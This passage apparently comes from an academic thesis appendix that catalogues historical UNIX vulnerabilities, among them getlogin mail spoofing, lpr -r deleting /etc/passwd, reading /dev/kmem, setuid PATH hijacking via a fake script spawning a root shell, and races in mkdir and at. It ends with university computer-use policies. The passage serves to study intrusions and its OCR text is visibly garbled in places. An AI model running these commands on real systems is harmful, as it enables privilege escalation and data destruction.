seqnce: £\ £2

DESCRIPTION
£x

access-control:
option: 0

£2

execute:
subjct: in FileJSet # 2 (?filel)
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Case 7 [28]:

Description: As all mail programs (and many others) use getlogin(3V), it is quite
to defeat the authentication mechanism. If an attacker wants to mail Vic a letter and
have the sender be listed as T i m (who is currently logged in and using terminal 33),
(s)he types the message to be sent in a file (call it "x"), and then issues the command
mail Vic < x > /dev/tty33
As mail programs do not print anything on the standard outputfile(only on the
standard errorfile),even if there is an error, nothing will be written to terminal 33 and
T i m will never know what happened. If Vic relies on the authentication mechanisms
in the mailer, he will be fooled completely, as Tim will be listed as the originator of
the letter. A n y program which uses getlogin for verification or authentication may be
attacked in this way.

CASE: tty
EXAMPLE-SCENARIO
example:
" mail Dan < x > /dev/tty33

INTRUSION-SEQ
seqnce: £\

DESCRIPTION
£i mail:
recver: ?-user
option: ?-device
subjct: ?-filel
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Case 8 [185]:

Description: lpr(l) is a UNIX utility that passes a file to be printed into the appropri
queue. T h e -r option to Ipr causes thefileto be removed once it has been passed to
the print queue. In early versions of U N I X , -r option did not adequately check that the
user invoking Ipr -r had the required permissions to remove the specified file, so it was
possible for a user to remove, for instance, the passwordfileand prevent anyone from
logging into the system.

CASE: lpr-r
EXAMPLE-SCENARIO
example:
" Ipr -r /etc/passwd

INTRUSION-SEQ
seqnce: £\

DESCRIPTION
£x

print:
option: -r
subjct: in Restricted.Write File

Case 9 [28]:

Description: Other vulnerable devices are /dev/drum (the swapper), /dev/mem (use
memory), and /dev/kmem (kernel memory). A n attacker may simply display these files
(using, for example, cat) to see what others are doing. This problem was discovered
when a student read one of the devices and saw a letter that another user was editing.

CASE:

kmem

EXAMPLE-SCENARIO
example:
" cat /dev/kmem

INTRUSION-SEQ
seqnce: £\

DESCRIPTION
'

£x

duplicate:
origin: in Restricted-Read File
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Case 10 [28]:

Description: The problem lies in the sequential search. Suppose a user has set his/her
search path to "/usr/xxx/bin:/usr/bin:/bin," (a blank directory name, which precedes the first colon, means the current directory). Moreover, suppose "/usr/ xxx/bin"
is writable by anyone. The attacker need only to write a program to do whatever (s)he
wants, copy it into "/usr/xxx/bin" with the same name as a system program, and wait
for the victim to execute that system program.

Case 11 [50]:
Description: The search path is of critical importance in a setuid shell script, since
if it is not completely specified, the shell scripts inherits the invoker's search path. In
this way, the invoker could set his path with "." at the beginning of the path, thereby
making the shell look in the current directory before any of the system directories. In
the current directory could be a program with the same name as one of the commands
used in the shell script, and the shell would execute the invoker's version instead of the
system version.
For example, if the setuid shell script was the following:
#!/bin/sh
# Allow operator to dump a file system
#
me='whoami'
if test $me = operator:then
dump 5uf/dev/rmtl2$l
fi
exit 0

The attacker could execute this program in the same directory as his version of
with his version looking like this:
#!/bin/sh
exec /bin/csh

If the attacker invokes the setuid shell script with '.' at the beginning of hi
path, he will wind up with a root shell, since all commands executed within the shell
script are done as root.
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Case 12 [28]:

Description: A common feature found within UNIX application is permitting a user
to fork a subshell to run a system command without leaving the program. For example,
from within the text editor ed(l), the command '!' will pass the rest of the line to a
subshell for execution. The problem raises when a setuid program that has such a feature
fails to reset the effective U I D of the subshell to the user's real UID. Thus, to become
a superuser, all the attacker needs to isfinda program which is owned by root, has the
seuid bit set, and which fails to reset effective UIDs whenever it forks a subshell. The
attacker executes the program, enters a subshell, and receives root previlege.

Case 13 [28]:

Description: When a setuid file is writable by anyone, a very serious security h
exists. All an attacker has to do is copy another program, such as the shell, onto that
file. W h e n (s)he executes thatfile,(s)he will have all the owner's privileges. Since some
versions of U N I X are distributed with allfilesreadable and writable by everyone, finding
an appropriatefilecan be quite easy.

Case 14 [28]:

Description: The command su(l) enables one user to substitutes another user's re
(and effective) U I D and G I D for his own. This program demands a password and looks
in the passwordfileto verify that such a substitution is permissible. As run under U N I X
version 6, su had a very serious bug. If the passwordfilecould not be opened, it provided
a shell anyway - with real, effective, UID and GID set to those of root. Since this can
be forced to occur very easily: write a C program to open anyfile, such as "/dev/null",
until the m a x i m u m number of openfilesallowed to a process is reached, and then execl(2)
su.
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Case 15 [28]:

Description: Some shells search for commands a bit differently; fo example, csh uses
a hash table of commands. However, it does not do this for the current directory, a
fact m a n y people found out when looking in a certain graduate student's directory. This
student created his own version of ls(l), which wrote the command login into the user's
.profile and .login (csh equivalent of .profile)filesbefore listing thefilesin the
directory (in this listing, the entry for Is was suppressesd). This essentially prevented
the unsuspecting user from logging in until the login was deleted from the .login or
.profile file.

Case 16 [28]:
Description: The problem arises from the way at works. It creates a shell script in
the directory /usr/spool/at which sets up the environment to be what it was when the
at c o m m a n d was issued. It determines when the program is to be run by thefilename,
which looks like "82.052.0400.46", where 82 is the last two digits of the year, 052 is the
day (of the year) on which thefileis to be run, 0400 is the time of the day at which the
file is to be run, and 46 is generated from the provess number (to ensurefilenames are
unique). It determines who asked the program to be run by the UID and G I D of the file.
Here is the hole.
As the directory /usr/spool/at is writable by everyone, anybody can create a file
in it. Since it is on the samefilesystem as /usr/spool/mail, anybody can use ln(l) to
link a mailbox to afilein /usr/spool/at. As linking does not change either the UID
and G I D of the owner of the mailfile.So, to do something as superuser, the attacker need
only link /usr/spool/mail/root, which is root's mailbox, to afilein /usr/spool/at
named in such a way that it will be executed sometime (say, an hour) in the future.
Then, (s)he writes a shell script to do whatever (s)he likes, and mails it to root. The
mailed program will put the letter into root's mailbox. W h e n at executes the linked file,
it will run the set of commands mailed to root as though root had requested it (since the
U I D and G I D of thefileare those of root). Note that there may be other mail in root's
mailbox; the shell spawned to run the at job will treat those lines as invalid commands,
and ignore them.

Case 17 [50]:

Description: Discolo developed a program to seek out and capture plaintext passw
straight from kernel memory (/dev/kmem). The program simply polls the section of kernel memory where the typed characters are stored waiting to be read for that particular
try.
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Case 18 [185]:

Description: In some versions of U N I X , mkdir(l) was a setuid program owned by root.
The creation of a directory required two steps. First, the storage for the directory was
allocated with the mknod(8) system call. The directory created then would be owned
by root. The second step of mkdir was to change the ownership of the newly created
directory from root to the ID of the user who invoked mkdir. Because these two steps
were not atomic, it was possible for a user to gain ownership of any file in the system,
including the password file.
This could be done as follows: the mkdir command would be initiated, perhaps as
a background process, and would complete thefirststep, creating the directory before
being suspended.

Through another process, the user would then remove the newly

created directory before the suspended process could issue the chown command and
would create a link to the system passwordfilewith the same name as the directory just
deleted. At this time the original mkdir process would resume execution and complete
the mkdir invocation by issuing the ownership of the password file to be the user who had
invoked mkdir. As the owner of the password file, then user could remove the password
for root and gain superuser status.

Case 19 [163]:

Description: Rwall is a UNIX network utility that allows a user to send a messa
users on a remote system, /etc/utmp is a file that contains a list of all currently logged
in users. Rwall uses the information in /etc/utmp on the remote system to determine the
users to which the message will be sent, and the proper functioning of some U N I X systems
require that all users be permitted to write thefile/etc/utmp. In this case, a malicious
user can edit the /etc/utmpfileto contain the entry /etc/passwd. The attacker then
creates a passwordfileto replace the current passwordfile(e.g., so that his/her account
will have system privileges). The last step is to issue the command:"rwall hostname <
newpasswordfile". The rwall daemon next reads /etc/utmp to determine which users
should receive the message. Since /etc/utmp contains an entry /etc/passwd, rwall
writes the message (the new passwordfile)to thatfileas well, overwriting the previous
version.

Appendix C
Policies

Table C.l shows part of Purdue University Engineering Computer

Network Policy on

Access and Usage (September 1991) [42, Appendix D ] :
6.4. Files owned by individual users are to be considered as private, whether
or not they are accessible by other users.
6.4.1 The ability to read a file does not imply permission to read that file.
Files belonging to individuals are to be considered private property.
6.4.2 Under no circumstances may a user alter a file that does not belong to
h i m or her without prior permission of thefile'sowner. T h e ability to
alter afiledoes not imply permission to alter that file.
6.5 Because this is an educational environment, computer systems are generally
open to perusal and investigation by users. This access must not be abused
either by attempting to harm the systems, or by stealing copyrighted or licensed
software.
6.5.1 System-level files (not owned by individuals) may be used and viewed
for educational purposes if their access permissions so allow.
6.5.2 Most system-level files are part of copyrighted or licensed software, and
m a y not be copied, in whole or in part, except as needed as part of an
educational exercise.
6.5.3 The same standards of intellectual and academic honesty and plagiarism
apply to software as to other forms of published work.
6.5.4 Making copies of software having a restricted-use license is theft. So is
figuring out h o w to "beat" the license.
6.5.5 Deliberate alteration of system files is vandalism or malicious destruction
of University policy."

Table C.l: Purdue University Computer Security Network Policy.
And the following is from Rules Governing the Use of University of Wollongong
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Computer Facilities [11]:
"4. University computing policy requires that users:

• do not disclose their own or attempt to discover any other computer
user's password,
• do not copy, disclose or transfer any of the computer software provided
by the University without the written permission of Information Technology Services or appropriate department or branch,

